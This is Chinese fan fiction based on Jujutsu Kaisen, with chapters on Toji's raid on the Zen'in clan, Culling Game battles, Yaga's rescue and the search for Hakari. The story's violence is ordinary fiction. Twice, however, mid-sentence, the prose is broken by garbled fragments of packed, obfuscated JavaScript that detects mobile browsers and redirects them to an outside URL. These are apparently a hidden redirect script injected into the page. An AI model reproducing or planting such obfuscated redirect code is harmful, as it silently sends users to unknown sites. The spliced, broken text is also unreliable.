正常人都知道这就是在放屁,更不用说伏黑甚尔。但是禅院家有人想要顺从总监部的意愿。在死灭洄游开始之后,御三家都必须重新考虑各自的份量。禅院家的大部分人想要拥护伏黑惠为新任家主,这样可以拉近和五条家的关系,与此同时可以挑几个亲五条派的家伙送给总监部,让禅院家未来在总监部不至于被挤压得太过分。 说是挑几个,其实基本上已经明晃晃地指向了禅院真希和禅院真依两姐妹。 “这是扇叔自己的提议。” “哈哈,倒是可惜了。她们俩的脸勉强还能看看,要是真希也像真依一样听话就好了。说话做事不像个女人,整天做着白日梦。” 通往禅院家忌库的路上,禅院真希遇到了自己的母亲。她的双眼中早就没有了任何波澜,来到这条路上试图阻止禅院真希已经是她对被家族规训的教养最大的反抗。不论发生何事,只要禅院家的女人还在这个地狱中,她们就必须按照规则侍奉这个家。 现在她应该在厨房里准备午饭。 “站住!” 与她擦肩而过的禅院真希停在原地,听见母亲说:“不要让我后悔生下了你们。” “……”禅院真希想起自己离家时说的话。她会成为禅院家的家主。唯有这样,她才能给真依幸福,才能试着拯救自己的母亲。 “我会救你的。”或许在梦中,她们母女三人也曾有过共同欢笑的瞬间。 她的母亲没有听她说话,转而将目光死死盯在黑暗当中。 “啊?你怎么还在这儿?” 从黑暗中出现的人影占据了整个通道,肌肉将贴身的衣物撑起。来人赤手空拳,语气懒散。 带疤的嘴角扯动:“你叫什么来着……” 与禅院真希的母亲同辈的所有族人都记得这个男人的名字。 “……甚尔。”禅院真希看着伏黑甚尔堪称完美的身体。不是她这样的半吊子,而是作为一个独立的个体获得了最极致的天与咒缚,纯粹的肉|体强者,真正的暴君—— 十二年前左右突然在咒术界销声匿迹,曾有不少人都猜测他已经死了。有谣言说他接了一个什么活,然后被五条家的六眼杀了。 事实上,这家伙的生活过得超级滋润。 “有五条家的大少爷给钱,谁还会想要去工作啊。”没错,一手包揽他生活起居外加偶尔赌马(趁伏黑惠和津美纪出去游学的时候),所有的经费全部由五条家的大少爷包了。他说的工作自然也不是什么正经工作。 禅院真希偶然知道这件事的时候满脸嫌弃,又想敲伏黑惠的头让他不要每次都给伏黑甚尔转钱了。就凭伏黑惠那点生活费,怎么养的起伏黑甚尔啊! 五条悟每次给伏黑甚尔汇款让他帮忙解决问题,有六眼神子帮着一起忽悠,伏黑甚尔偶尔离家从来没让两姐弟发现过。而美其名曰为了更好地完成任务,其实只是看见趁手的武器就想要,伏黑甚尔可没少伸手从五条悟那里抢钱。 “不过物有所值啦!”五条悟当时甩着墨镜笑得像只恶作剧得逞的猫。 “好久没回来了,希望忌库里能找到点好东西,”伏黑甚尔绕过禅院真希,一脚踹飞了忌库的门,“那个独眼小鬼是怎么说的来着?……哦~是要友好交流一下来着。” 看清忌库内的景象,伏黑甚尔咧开嘴,露出一个嗜血的笑容:“友好交流啊~我,和你?” 禅院扇的手放在刀柄上,心脏不自控地战栗起来。 伏黑甚尔看到已经被搬得空空如也的忌库,挠头:“虽然猜到你们不会乖乖把财产和咒具留下来,但转移的速度也太快了点吧?” 缠绕在他身上的咒灵吐出了释魂刀。他知道自己这次要白跑一趟了,除了五条的赏金赚不到什么“外快”,本来还以为能从忌库里搜罗一些好东西呢。 禅院扇双眼瞪大,术式【焦眉之赳】瞬间展开:“甚尔!!你为什么还要回来!!” 伏黑甚尔笑得很痛快:“因为老子收钱了啊!!” 比禅院真希提前几天回家的真依奄奄一息地倒在自己父亲的脚边,禅院扇因为恐惧而火力全开的术式从来没有顾及过她的生死。禅院真希看到伏黑甚尔冲了出去:“真依!!” 预想中的对冲没有出现,禅院扇败得悄无声息。伏黑甚尔甩掉刀上的血,对着愣神的禅院真希说:“你来给他补最后一刀。” “......”禅院真希走下楼梯,忌库里阴冷无比,从未将她们当成人来看待的父亲被腰斩,哪怕死到临头那双眼睛都不曾真正望向过她们。禅院扇只是恐惧地看着伏黑甚尔,看着他们禅院家的诅咒。 术师虽然生前不会生成诅咒,但如果死时不是被蕴含咒力的攻击所杀,极有可能化身为咒灵作恶。伏黑甚尔完全舍弃了咒力,强效的咒缚让他可以看到咒灵,但想要祓除诅咒必须使用咒具。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137740|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他可以用释魂刀直接杀了禅院扇,但是......女人心对他来说还是很好懂的啊,这个与他有着相似“诅咒”的女孩也想要一个了结过去的契机。 “接下来干什么好呢......啊,得把钱和东西追回来才行啊,”伏黑甚尔向忌库外走去,“找个人好好拷问一下吧。” 禅院真希与真依作为双子降生,在咒术的范畴中,她们的灵魂是一体的。对咒术界的双胞胎来说,付出和收获并不总是对等的。无论禅院真希怎样努力,如果真依安于现状,她们都会被困在原地不得寸进。 如今禅院真依终于亲眼见到了她们合二为一后,真希能够抵达的顶峰。 她从很早之前就明白为何双子会被称作凶兆。 “......毁掉这一切吧。” 不是“最讨厌的”,不是“为什么你非得这么拼命”,只是“姐姐”。 用我给你做的这个,将困住你的一切都毁掉—— 噗呲。 禅院真希用刀刺中了禅院扇的心脏,为确保他切切实实地死去,她又一刀削断了他的脑袋。 禅院真依伸出的手被牢牢握住,就像她们小时候牵着手过桥一样。真希把她从地上拉了起来,与她相似却又不同的脸上露出熟悉的笑容:“你说什么呢?西宫待会儿就会过来,去找家入小姐把你的伤治疗一下。” 她们互相依偎着走出忌库,在深埋于地下的通道中与母亲侧身而过。她看着禅院扇的尸体,似乎已经忘记自己必须回到厨房去做饭。 忌库外,禅院家的术师集团炳的人横尸遍野。躯俱留队已经全灭,在庭院中垂死挣扎的只剩下禅院甚一和禅院长寿郎。 非禅院者非术师,非术师者非人。这才是禅院家真正的诅咒。 禅院直哉看着伏黑甚尔提着禅院甚一的头,鲜血从脖颈的断面淋淋漓漓洒了一路。他的眼中再看不到别的东西。他从小就知道甚尔的强大,那些否定他的人、看不起他的人才是真正的庸才,都是废物! “小子,我的钱和东西都去哪了?”伏黑甚尔将手里的人头随手一丢,问道。 “甚尔,”禅院直哉完全沉浸在自己的思维中,“果然,该和你悟君站在一起的是我啊!!” 伏黑甚尔一副“你脑子坏掉了吧”的表情看着他。 —— 日照进到餐厅里时发现了没有洗的锅。 “谁啊,做完饭不刷锅?” 那他也不刷。 翻出平底锅煎了两个鸡蛋,稍微烤了烤面包,端着自制三明治找座位吃饭。他把沙拉酱挤到面包上时,黄栌折上到二楼。他咬下第一口时,黄栌折顶着他的视线坐到了他对面。 啪! 他拍开黄栌折伸向盘子里的三明治的手。 “大清早就想打架?”日照莫名其妙地看着自来熟的家伙,让他更生气的是对面的黄栌折也这么看着他。 “哈?你这家伙怎么回事?” “......我跟你很熟吗?” “古里古怪的家伙。”黄栌折双手抱头溜达到厨房找吃的去了。 日照又咬了一口三明治,小声叫星海:“喂喂你昨天晚上干什么了!?” 没有人理他。 他恶狠狠地吞掉剩下的早饭,拍拍手回三楼了。他走到丽美的房门前,大声喊道:“我们要走了哦,丽美!” 房门被打开,丽美急匆匆地走了出来。她将自己的黑色连衣裙裁改得只剩上衣,换了一条便于运动的长裤。 “我来了!日照先生!” 她还没有找到继续在死灭洄游中战斗的理由,但她已经下意识地开始改变。 “还像之前一样,交通工具就拜托你啦。” “好的!” 每次移动前,丽美都要去找合适的交通工具。通常是后座能坐人的自行车,日照不会开车,也不喜欢会搞出噪音的摩托车。 零士·明星一伙人在大厅拦下了他们。 “所以你还是要去找天使,”他说道,“不考虑跟我们合作吗?” 日照摆摆手:“我现在暂时对分数没兴趣了。” “你应该明白,这个游戏的管理者如此费尽心思维持死灭洄游并不只是为了让泳者自相残杀而已。术师在死亡时释放出的咒力全都被结界吸收了,维持游戏的永续性只是表面目的,管理者一定还在谋划着什么。” 其他人都沉默着,他们并非从未思考过这些,只是由于缺损了关键信息而无法补全逻辑。 “比起我们这些现代术师,你们不应该更了解他吗?”这些古代受肉的术师都是亲自和羂索定下了束缚,所以他们每个人至少都见过他的某一任皮囊。 “你果然知道羂索,”零士·明星搓着他的小胡子,“他能做出这样的梵界,应该是依托了原本就存在的净界。” 他见日照没有接茬,就自顾自地说了下去:“如果你想借用天使的术式破坏这些结界,恐怕你要失望了。她的术式虽然的确可以破坏结界,但那是在她清楚结界根基所在的情况下。像死灭洄游的结界,想要破坏就得找到设立结界的那个人。” 日照歪头:“你觉得我找不到他?” 零士·明星打了个响指,伸出双手食指指着他:“虽然不知道是谁告诉你他的身份,但恭喜你,你被骗了!” 丽美听得一头雾水。 “杀死羂索,死灭洄游也不会结束。想要破坏这些结界,你要找原本就存在的净界的设立者。虽然不知道是谁,但想必应该也是个值得称道的人,毕竟这么厉害的结界术除了羂索我知道只有一个人能够做到。” 天元。 这倒是意料之外的情报,净界是高等级的结界,死灭洄游的这些比净界等级更高的梵界居然是以天元的结界为蓝本设立的。 想要终结这个永续游戏,就必须破坏天元在这个国家境内设立的净界。这么一看,死灭洄游的管理者很有可能不是羂索本人,而是...... “你的话说完了?” “嗯哼。” 日照带着丽美径直离开了。 大厅里,黄栌折问零士·明星:“你跟他说那么多干什么?那家伙一看就不可能跟我们一起行动。” 零士·明星无所谓地说:“试探一下现代术师们的态度罢了,看起来他跟现在的咒术界关系也不怎么样。” 现代咒术界有人知道羂索的身份,但却不肯将所有事实告知术师们......这种自我矛盾又优柔寡断的性格到让他想起和他同时代的一个“家里蹲”,她的结界术比羂索还要...... “等等,不会吧?没想到那个家里蹲还活着啊。” 针千钧:“?” 黄栌折叹了口气。现代术师要是都有日照这么有意思就好了,也不枉他们来凑热闹。就是他们没打起来,他还想好好和他打一架呢。 “我可不觉得和他打起来会很有意思,”零士·明星掏出一叠收据,不得不说现代技术就是方便,他以前为了拿到契约可是要费很大劲的,“是我的直觉,但就是这些直觉救了我很多次。而且,他背的袋子里有很不妙的咒力散发出来。不是什么好东西。” 那只眼睛里什么都没有。说是傲慢也不太对,就像一口漆黑的无底深井,无论投入什么东西都不会得到回音。那口井只通向一处。 “他还保有理性,这才是我不想和他打起来的原因。” “有理性的疯子?”黄栌折想起晚上做咖喱的人,觉得自己猜到的就是真相。 “谁知道呢,”零士·明星耸肩,“我们得找个诱饵帮我们把肥羊钓回来。” 10. 各自的目的 日照去找天元的时候,祂没有告知他万的下落。知道万和羂索定下了束缚,一定会受肉在某个人身上,却至今下落不明。除非她在参加死灭洄游前就被干掉了,这一点基本上不太可能,那么就只剩下一个可能性。她还没有正式宣誓参加死灭洄游,因为尚未使用过术式,所以还没有被天元发现。 他们得尽快向东京第2结界靠近,天使的术式估计可以让她本人随意进出结界,如果在他们赶到之前她就已经离开那里,才是真的很令人恼火。 丽美给自己找了个头盔,不然她实在难以承受移动时扑面而来的狂风。 从日照和东京中心酒店那三个人的对话中她知道,此行的目的在于寻找一个名叫“天使”的术师。她原本并不怎么在意咒术和自己的术式,在死灭洄游开始之前,她也有“强大”的力量。但是现在不同了,在这个游戏中,她必须找到一些战斗的理由。 不然就会白白死去。她还记得那枚子弹射穿头颅的感觉。 日照抬手飞出一张纸牌,精准地切开了躲在楼缝阴影中咒灵。现在已经很少能见到非泳者的普通人逗留在结界内,高专疏散了部分群众,还有一些人就是太倒霉了。一辆自行车不能支撑太久,他们在下午一点左右停在了一片商业街附近,这里物资丰富,缺点就是很容易成为泳者们聚集的地点。 喜欢上现代服装的古代术师也是有的。毕竟不是所有人都像零士·明星一样喜欢用收据做草裙给自己穿。 “什么啊,现代的术师?”穿着洛丽塔风格小裙子的女性术师将头顶的帽子摆正,她身上穿得像是蛋糕房橱窗后面的小蛋糕。 日照没有理她,而是抬头望向这附近最高的建筑物。确定了目标之后,他又环顾四周,看到了隐藏在商场内部的玩具店。 “丽美,这里交给你了,”他拍了拍丽美的肩膀,从网球袋里摸出一把匕首,“你有十分钟的时间哦,这把刀只能用一次,你明白的吧?” “诶!?等等......日照先生!?” 丽美无措地呼唤只击中了青年留下的背影,他小跑着奔向了商场大门。 “他丢下你自己跑了耶,”古代术师嘲弄地笑了起来,仿佛是在替她惋惜,“男人都是靠不住的,现在的女孩子怎么还是这么好骗~” 她的发尾自动卷了起来,咒力在漩涡的中心聚集:“去死吧蠢货!!” 丽美还是很害怕。古代术师的攻击已然袭击到了眼前,她下意识闭眼侧身躲避,在蹬地的瞬间却察觉到了一些异样。 身体好轻......不,是她的力气变大了? 刚刚为了躲避攻击,她竟然一下跳出去三四米。攻击落空的古代术师同样也很惊讶,在她的视角中,丽美浑身的咒力在被激发的那一刹那突然活跃了起来,慢慢增加到了一个近乎与她齐平的高度。 这个女孩又没有进行术式公开,不会是因此才让咒力量短时间内有这么大的变化。不管了,再试试! 眼看古代术师的下一击就要落下,丽美没有继续躲避,而是操纵起自己的辫子。她的术式很没用,因为头发既不会变......长......!? 她和古代术师之间仍有不小的距离,原本凭她头发的长度是无法攻击到对方的。然而现在那个古代术师被她的发辫贯穿了腰腹,她甚至轻而易举地将对方举了起来! 古代术师的战斗经验要远胜丽美,此刻突然落入下风也临危不惧,腾挪间将自己从丽美的发辫上移开,用反转术式修复伤口。 咒力重新汇聚在古代术师的身侧,她不再试图靠近丽美。 丽美攥紧手中的匕首,她想起西武百货楼顶上从枪□□出的那枚子弹。日照先生说了,她的时间不多,而这个匕首她只能用一次。 恐怕她用这个匕首进行的下一次攻击将会是“远超想象”的,就像游戏中的一次性道具,用完就会变成灰烬崩解。 是日照先生的术式吧? 古代术师的远程攻击已至,丽美远远地将匕首甩了出去。 无形的利刃切开了匕首前进路上的一切。 “获得5分!!” 白花花的铁刃反着光,丽美回头,看到了抱着一堆黑色盒子出来的日照。 青年站在阴影里,笑容让她胆战心惊:“就是这样,丽美。” 商场的电力系统还在运转,日照带着丽美坐上了通往顶层的电梯。 商场顶部的最高层是观景台,他们在观景台的入口下了直梯,从歪倒的“禁止入内”警告牌上跨过,坐扶梯上到了最顶层。 “日照先生,刚才我……”身侧的观景窗映出新宿的市井,偶尔还能看到汽车在如沙盘般渺小的通道里穿梭。 “那是想象力,丽美。”日照靠在扶梯把手上,盯着窗外的景色。 丽美还是不太明白,但是现在她已经没有刚才战斗时那种强大的力量感了,术式也不再能让头发变长。 他们来到了顶层的露天观景台。 “你们来这里干什么!?”观景台的室内保安室里居然还有没离开的人,老头见到有人来,急忙拿着武器从保安室跑了出来。 “泳者吗?” 小金:“不是!!” 偶尔也有这样的人,躲在商场等物资丰富的地方,又或者躲在自己家中,被动地等待灾难自己离去。或许是因为身体条件不允许,又或者期待着有人让生活恢复正常? 老头对他们怒目而视,仿佛他们闯入了自己的领地。 他举着用菜刀绑在棍子上做成的武器,亦步亦趋地在他们身后比划着,直到日照和丽美去到室外,才慢慢退回了自己的地方。 观景台上的景色非常宽阔,远处围困着这片地区的结界直通天际。结界内能看见日升月落,从内部向外看,能够看到结界外的景象。但这些景象只是结界让内部的人觉得“看到了”,实际上结界外的景象是停滞的。与非术师看“帐”的情况类似,无法认知到另一侧发生的事情。 日照来到栏杆旁,打开了他从商场里拿出来的黑色盒子。里面是一个玩具单筒望远镜。 塑料做成的玩具看起来平平无奇,日照将它在手中拍了拍,然后放到眼睛前。现在日照做什么奇怪的事情丽美都不会太惊讶,这个单筒望远镜配上他右眼的眼罩,看起来就像是个海盗一样。 黑色的眼瞳透过玩具的镜片,看到了结界外的景象。移动中的骑车、聚集的人群、被狂风骤雨吹倒的杉树。结界外在下雨,雨丝冰凉。 咔哒。日照听见塑料外壳裂开的细微声响。下一刻,他手中的望远镜就变成了齑粉,被天台上的风吹散了。 他见怪不怪,又拆开了一个新的。 他在第二个望远镜坏掉之前找到了东京第2 结界。穿透两层壁障看到东京第2结界内部的全部情况还是有些困难,只能寄希望于天使在靠近东京第1结界的这半部分地区活动。 在消耗了五个望远镜之后,他的目光停留在了一个悬停在空中的身影上。 “找到你了。” 日照扔掉正在消失的望远镜,撸起袖子就单脚跨上了栏杆,径直从楼上一跃而下,只留下崩溃的丽美在原地大喊:“等等等等!!日照先生这里是顶楼啊!!” 青年的声音遥遥从远处传来:“跟上来!” 又来了,那种力量充盈的感觉!丽美想起独自面对古代术师时的感觉,咬牙道:“算了!” 她尖叫着从观景台的边缘跳了下去。落点在隔壁不高不矮的独栋公寓群的顶部,她知道要用咒力包裹全身,尽管对咒力的操作基本为零,但凭借多出来的庞大咒力,她在落地时毫发无损。 东京第2结界,上空。 “华,准备离开这里吧。” 天使受肉的对象名叫来栖华,金发碧眼、留着妹妹头、发尾自来卷的少女头顶光环,背上生着神话传说中天使一样的洁白羽翼。天使本人选择与自己的容器共生,她不会随意占据来栖华的身体,目前来说她们的目的还算一致。 “那我们接下来去哪?”来栖华问。 这个结界靠海,人类泳者与咒灵的数量对半分,而且还有一个很麻烦的家伙在。如果天使不亲自上场,仅凭来栖华使用天使的术式,对上那个人难以取胜。 “这个结界的受肉术师数量不多了......就去旁边的东京第1结界吧。” 天使本以为在增加了“可以自由出入结界”的规则之后,受肉泳者们会选择离开结界,但出乎她意料的是,就算结界开放了通行,大家也都选择留在结界内。 “知道了,”来栖华听从了天使的建议,慢慢向结界边缘靠近,“天使,你说的那个‘堕天’到底是什么人啊?” “我追逐他而来,”天使的嘴巴开在来栖华的脸颊上,“只为能够将他彻底镇压。” —— 日下部笃也带着熊猫偷偷跑到了关押夜蛾正道的监牢外。 他们到这里时,正巧碰到京都高专的校长乐岩寺嘉伸从里面出来。他拄着拐杖,看起来和一般的老者一样陈旧腐朽,也非常适合和咒术总监部的那群老橘子们混在一起。 乐岩寺嘉伸在门口站了一会儿,回想起和夜蛾正道隔着贴满咒符的铁栏杆的对话。 夜蛾正道是咒术界制作咒骸傀儡的第一人,熊猫作为突然变异咒骸拥有了自己独立的灵魂。总监部想要知道夜蛾正道让熊猫拥有灵魂的方法。 “......外面发生了这么大的事,你们居然还在想这些事吗?”夜蛾正道的双手被封印,无法使用咒力和术式。他坐在监牢里的床边,没有看监牢外的老人。 乐岩寺嘉伸点了点拐杖:“你想就这样死去吗?夜蛾!?” 夜蛾正道的能力只要运用得当,就能够创作无数可怕的傀儡军队供人驱使。哪怕没有放到明面上的一天,有这样一群傀儡军团存在,背后可供操作的地方也还有很多。 “......”夜蛾正道沉默不语。监牢外的老人又等了一会儿,就在他觉得夜蛾正道不会再开口的时候,监牢里的人居然说出了变异咒骸的真正秘密。 毫无疑问,那是禁忌之术,是夜蛾正道应该带入坟墓的秘密。乐岩寺嘉伸抬起眉毛,肉|体已经开始枯朽的老人用极为可怕的目光盯着眼前的中年人。他不相信夜蛾正道不知道说出秘密的后果,可为什么还是......? “......你是在诅咒我吗?夜蛾!” “多矛盾啊,老爷子。不过,算是这样的吧。”夜蛾正道不再开口,他一点都不像是一个即将面对生死危机的人,反倒像是已经大彻大悟、看淡生死的模样向后靠在冷硬的石壁上。 年迈的老人转身就走。 乐岩寺嘉伸离开没多久,日下部笃也和熊猫就找了过来。 “正道。”熊猫尝试性地动了一下贴在栏杆上咒符,发现上面的封印很简单地就被破开了。 “外面的看守也弱得离谱,”日下部笃也背靠墙,看熊猫掰开栅栏,“啊......真是麻烦死了。” 夜蛾正道:“......抱歉,还是要麻烦你。” 日下部笃也摆出一副无奈的模样,但从他的动作里却感受不到任何不耐的情绪:“还是别了,我们总是欠着你的恩情......从这里出去很容易,要回到高专就很难了。” “我们?”熊猫问。 “是我和我妹妹啦。”日下部笃也将话题终结,叼着糖棍出去开路。 熊猫扶着夜蛾正道,想了一会儿,然后说:“是小武吗?” 夜蛾正道没有回答,但熊猫已经得到了答案。在咒骸们的乐园里,有一个孩子名叫小武。有一天他突然回来和大家说,他见到了妈妈。 那孩子快乐地说:“我见到她的时候就猜到了!我厉不厉害!” 熊猫:“原来如此啊。” 他们三个成功抵达了日下部笃也和熊猫来时开的那辆车附近。然后他们开车上路,一路顺风抵达了筵山山麓。 “日下部,”和夜蛾正道一起挤在后座的熊猫开口,“我们已经到高专了耶。” “咳嗯......”日下部笃也露出死鱼眼。按照他对总监部的了解,就算没有他们,夜蛾正道也会被“放走”,然后总监部就可以名正言顺地对他进行处刑。行刑人估计是保守派和御三家的家族术师,日下部笃也这么着急忙慌地过来就是为了尽可能躲避他们的追捕。 结果根本没人来追他们。 是他车技太好了,车开得太快了吗? 日下部笃也带着诸多疑问跟夜蛾正道和熊猫一起进入高专的结界内。 总监部原本准备派出禅院家直属的炳和乐岩寺嘉伸来完成这次处刑。有炳的人善后,还可以顺便考察乐岩寺嘉伸是否忠诚于他们。 但是,谁也没想到,现在的禅院家已经天翻地覆。 暴君突入,所过之处只剩满地血污。 穿越蔓延整条山道的朱红鸟居时,已经连通的机械丸告知了虎杖悠仁等人从天元那里得到的情报以及各自的去处。 家入硝子为两人一熊猫治疗了伤口,他们顺势就在她的解剖室里坐了下来。 “正道,你认识那个日照弥山吗?” “......别说话,我在思考。” “好吧。” 家入硝子又点了一根烟,日下部笃也已经坐在凳子上靠着墙打起瞌睡。夜蛾正道本来以为总监部只是因为咒骸而针对他,但是没想到日照他们也被卷了进来。羂索肯定会在总监部里塞入自己的爪牙,更坏的猜想是他已经彻底掌控了总监部。 日照...... 夜蛾正道的胡子长长了不少,他摸着扎手的胡渣,忽然长叹了一口气。背后之人针对他,逼迫他交出“让咒骸拥有灵魂的方法”,看似是为了获得咒骸大军,实则并没有这么复杂。 羂索大概是单纯的好奇而已。 好奇日照弥山究竟从他这里学走了什么。 —— 加茂本家。 羂索靠窗坐在上一任家主的房间内,似乎是在真心实意地欣赏今晚的月亮。 但其实这双眼睛几乎什么都看不见。 “已经挣扎得够久了,”他的手摸上眼睛,感受眼球的凸起在眼皮之下颤动,忽然心情极好地笑了出来,“还不肯放弃吗?” 原本固定术式的锁微微剥落,这具躯体开始彻底死去。羂索在刚换上它的时候才发现日照星海的双眼视力低下,几乎到了目不能视的地步。但是作为伪六眼,它能被如此称呼自然有他的道理。 这双眼睛能够看穿咒力的流动。是以这双眼睛主人的世界里只有清晰的咒力之流,和模糊重影的现实世界。 这也是羂索第一次遇到无法使用刻印在肉|体上的术式的情况。术式的刻印还在,却拒绝被使用。好在反转术式还可以起效,羂索用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137741|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反转术式修复了尸骸失去的双手。 这三天里,肉|体战胜了灵魂。 现在,羂索彻底占有了它。 术式被逐渐唤醒了。 “......看来应该去配副眼镜。” 在冲绳的时候,那个孩子的确就站在不远处。难道是在那时看到了他制作咒物的情况,然后成功模仿出来了吗?听上去并非没有可能,但他很快就否定了这一点。因为日照弥山的眼睛看不穿咒力的流动,伪六眼是他双生兄弟特有的体质,是独属于日照星海的诅咒。 “夜蛾正道......然后是北海道吗?” 日照弥山也许会带给他更大的惊喜。 “哈哈,我很期待。” —— 2018年11月4日,栃木县某立体停车场外,17时。 “伏黑,我们就这么进去吗?”虎杖悠仁指着他们的高专制服问道。秤金次是因为和保守派起了冲突才遭到停学,如果在他眼里高专和总监部沆瀣一气,拒绝见面怎么办? 秤金次正在这个停用了的立体停车场里做局头,组织黑拳开盘赚钱。他让术师们上场比赛,去观赛的客人们基本都是非术师。 “当然不行啊,”伏黑惠扔给他一套常服,用眼神示意他赶快换上,“他现在的行为根本就是无视了咒术规定,要是发现我们跟咒术界有关可能会直接逃走吧?” 胀相向伏黑伸出双手,问他自己的衣服在哪里。胀相现在穿的衣服很像加茂家出来的人,熟悉御三家的术师肯定会怀疑他和加茂有什么关联。 “你不能进去,你的术式太明显了。”伏黑惠不打算让胀相跟着一起进去。 “其实我不用术式也可以......”胀相还想再争取一下。 “我们需要人在外接应。如果拳赛是秤学长组织的,他一定能通过某种手段监视我们,”伏黑惠坚持自己的决定,“万一我们潜入失败,或者被什么棘手的事情绊住了手脚,至少还有你在外围随机应变。等到我们有机会接近秤学长的时候,我会用手机通知你的。” 胀相捧着虎杖悠仁给他买的新手机蹲在了立体停车场大楼旁边的小公园里。手机是扫脸开机快速解锁,适用于胀相这样还不太习惯现代电子产品的人。 凭借伏黑惠,他们成功地混到了入场门票,按照计划,虎杖悠仁通过参加拳赛从内部找上秤金次,伏黑惠趁此机会潜入停车场。无处不在的监控似乎意味着秤金次就在停车场内的监控室里,在这里干活的家伙们透露出监控室就在停车场的最顶层。 虎杖悠仁打赢了几场拳赛,被秤金次叫到了监控室。 凌晨1点整的时候,监控室的门被关上,伏黑惠从停车场内开始潜入。胀相接到了讯息,他上到另一侧大楼的天台上待命。 他们预想中的冲突还是发生了。 伏黑惠在靠近监控室的途中居然正巧碰到了从那里离开的星绮罗罗。 “你是......和小悠一起来的刺猬头少年?你为什么会在这里?” 失策了!伏黑惠没想到星绮罗罗没有秤金次一起待在监控室。他们缺少关于学长们的情报,唯一了解他们一些的乙骨忧太也不在这里。现在要怎么办?找个借口离开然后从长计议吗?但是虎杖已经进到监控室了,没办法联系上他! 而且,津美纪没有时间再等下去了。只要他能悄无声息地控制住星绮罗罗,就能给虎杖悠仁留出更多的时间说服秤金次。 伏黑惠的计划算漏了一点。他本以为秤金次和星绮罗罗在发现他们和咒术界有关的时候,第一选择会是离开这里,所以他的一切计划都是基于阻止他们逃离而制定的。给虎杖悠仁创造和秤金次独处的时间,让虎杖悠仁有充足的时间说服他。 因为虎杖悠仁不擅长骗人,本来伏黑惠以为只要赌虎杖悠仁能够在不被秤金次发现身份的前提下说服他来帮他们,之后只要找机会告知他们真相就好,整场计划中需要赌的部分就只有虎杖悠仁能不能捂住马甲这一件事。 “......?”星绮罗罗已经开始起疑了。这个刺猬头小子给他一种既守规矩又爱乱来的感觉,浑身上下散发着一种熟悉的调调。而且这个年纪看起来还在上学吧?就像是高专教出来的孩子一样。 “你这家伙不会是高专派来的吧!?” 伏黑惠没有机会再犹豫了,他比出手影召唤玉犬,现在必须争取在不被秤金次察觉的情况下控制住星绮罗罗! 星绮罗罗已经摸出手机,下一刻他的手机就被伏黑的式神兔子撞飞了出去,无数雪白的脱兔将他包围在中间,形成了一个密闭的空间。 式神?星绮罗罗没有管不知掉落何处的手机,他已经在手机被击飞之前摁下了紧急联系人的拨号键。 好多兔兔啊......星绮罗罗的瞳孔中央出现了小小的星星,他没有丝毫逃走的意思,泰然自若地站在脱兔群中。 伏黑惠打手势让胀相先不要过来,他自己冲向星绮罗罗的方向。然而没等他从斜坡上下去,围在星绮罗罗身边的脱兔突然挤成一团,像一朵巨大的白色棉花云一样向他飞了过来。 “!?”为了避免伤害,伏黑惠解除了脱兔的召唤,棉花云砰地化作影子消散了。 与此同时,监控室内。秤金次正和虎杖悠仁说明了他的“激情”所在,他想要趁着咒灵被公之于众的机会将黑拳赛的局做大,然后通过幕后操纵让拳赛统治这个国家的“激情”!虎杖悠仁知道自己不像伏黑惠那样脑子灵活,想不出圆满地谎言也不擅长控制表情,所以他随意附和了几声,正准备向秤金次说明他的来意时,放在桌上的电话突然响了起来。 虎杖悠仁噤声,手机铃响了很久,秤金次只是看着手机却没有将电话接起来的意思。 这是什么意思? 秤金次突然问:“你喝酒吗?” 一门之隔,解除了脱兔的伏黑惠让玉犬发起了突袭。星绮罗罗明显想要靠近监控室,一旦虎杖悠仁和秤金次的谈话被打断就前功尽弃了! 下一刻,他感觉到身体不受控制地飞了起来,直直撞到了玉犬身上。他们倒是没有受伤,可伏黑惠发现他和玉犬之间就像是被人装了两块磁铁,彼此紧紧地贴在了一起,无法轻易离开。 绮罗罗学长的术式......伏黑惠和玉犬现在挡在了监控室和星绮罗罗之间,对于他这诡异的术式,伏黑惠一点头绪都没有。 恰在此时,监控室的门被人从内部暴力破坏了,飞出来的人影是脸颊上被人狠狠揍了一拳的虎杖悠仁。 “这个咒力怎么回事!?好痛啊!!”虎杖悠仁被秤金次粗粝的咒力击中,虽然不至于受伤,但受击部位还是像被锉刀击中了一样疼痛。 “阿金!这些家伙们是......” “秤前辈!我们不是总监部的人!!” 看到虎杖悠仁被打,胀相再也站不住,从隔壁的楼顶跃至他们之中,护在弟弟身前。 场面一时变得混乱不堪,虎杖悠仁和伏黑惠无论如何都想说服秤金次和星绮罗罗的帮忙,秤金次根本不想听他们讲话,星绮罗罗忙着给在场的所有人重新打上【星间飞行】的标记。 就在天台上乱作一团的时候,终结了这场闹剧的是在东京第1结界边缘爆发的冲突。 在漆黑的结界边缘,海啸般冲天而起的树根从结界内穿出,树海浪头上,两个正在交战的身影出现在了所有人的视野里。 11. 光啊 “......最后的一点也回来了。” 日照将手掌放在耳边,星海的嘴开在他的掌心里。 “嗯,我感觉到了。” 日照目视前方,深不见底的黑色瞳孔中酝酿着不为人知的风暴。 —— 2018年11月5日,东京第1结界,0时47分。 进入结界的天使遇到了为她而来的日照和丽美。 “你们是什么人?”来栖华没有贸然降落,下面那个独眼青年给她的感觉非常不好,凭直觉判断不是能够合得来的人。 